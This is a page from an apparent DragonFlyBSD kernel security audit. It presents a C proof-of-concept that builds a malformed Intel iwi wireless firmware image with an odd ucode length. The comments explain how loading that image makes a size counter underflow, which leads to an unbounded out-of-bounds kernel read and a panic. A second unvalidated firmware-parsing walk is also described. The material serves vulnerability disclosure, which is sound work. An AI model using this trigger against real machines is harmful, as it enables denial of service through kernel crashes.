⬢ DragonFlyBSD Kernel Audit
DF-3841 / mkbadfw.c
← back to finding ↓ download raw
/*
 * DF-3841 PoC trigger (part 1, userspace-runnable): build a malformed iwi
 * firmware image whose ucode section has an ODD length.
 *
 * iwi_load_ucode() (if_iwi.c:2446) walks the ucode with
 *     for (w = (const uint16_t *)uc; size > 0; w++, size -= 2)
 *         MEM_WRITE_2(sc, 0x200010, htole16(*w));
 * With size odd, the last iteration reads 1 byte past the image and
 * `size -= 2` underflows size_t to SIZE_MAX -> the loop walks the entire
 * kernel address space after the firmware buffer (unbounded OOB read +
 * permanent lock-held spin) until it faults on an unmapped page -> panic.
 *
 * The generator below emits a combined (v3) image:
 *   struct iwi_firmware_hdr { u32 version(>=300); u32 bsize; u32 usize;
 *                             u32 fsize; }
 * with usize = 9 (odd).  Loading it (as root, via kldload/fwget on a machine
 * with an Intel 2200BG/2915ABG) triggers the walk in iwi_init_locked().
 *
 * part 2 (kernel-side, unrunnable here): see VERDICT.md — the faulting loop
 * is if_iwi.c:2446-2447; the same finding also covers iwi_load_firmware()'s
 * unvalidated command-block walk (if_iwi.c:2506-2527: GETLE32 tail reads up
 * to 7 bytes past the DMA buffer and unvalidated `len` drives ~2^19 MMIO
 * command-block writes while IWI_LOCK is held).
 *
 * Build:  cc -O2 -o mkbadfw mkbadfw.c
 * Run:    ./mkbadfw iwi_bss_bad && ls -l iwi_bss_bad
 */
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
	const char *out = argc > 1 ? argv[1] : "iwi_bss_bad";
	FILE *f;
	uint32_t hdr[4];
	uint8_t body[4096];
	uint32_t bsize = 16, usize = 9 /* ODD */, fsize = 256;

	memset(body, 0x90, sizeof(body));

	/* version >= 300 selects the combined-image path (if_iwi.c:2342+) */
	hdr[0] = 300;			/* version (native LE target) */
	hdr[1] = bsize;
	hdr[2] = usize;			/* <-- odd: triggers size -= 2 underflow */
	hdr[3] = fsize;

	f = fopen(out, "wb");
	if (!f) { perror("fopen"); return 1; }
	fwrite(hdr, 1, sizeof(hdr), f);
	fwrite(body, 1, 16 + 9 + 256, f);
	fclose(f);
	printf("wrote %s: version=%u bsize=%u usize=%u (odd!) fsize=%u\n",
	    out, 300, bsize, usize, fsize);
	return 0;
}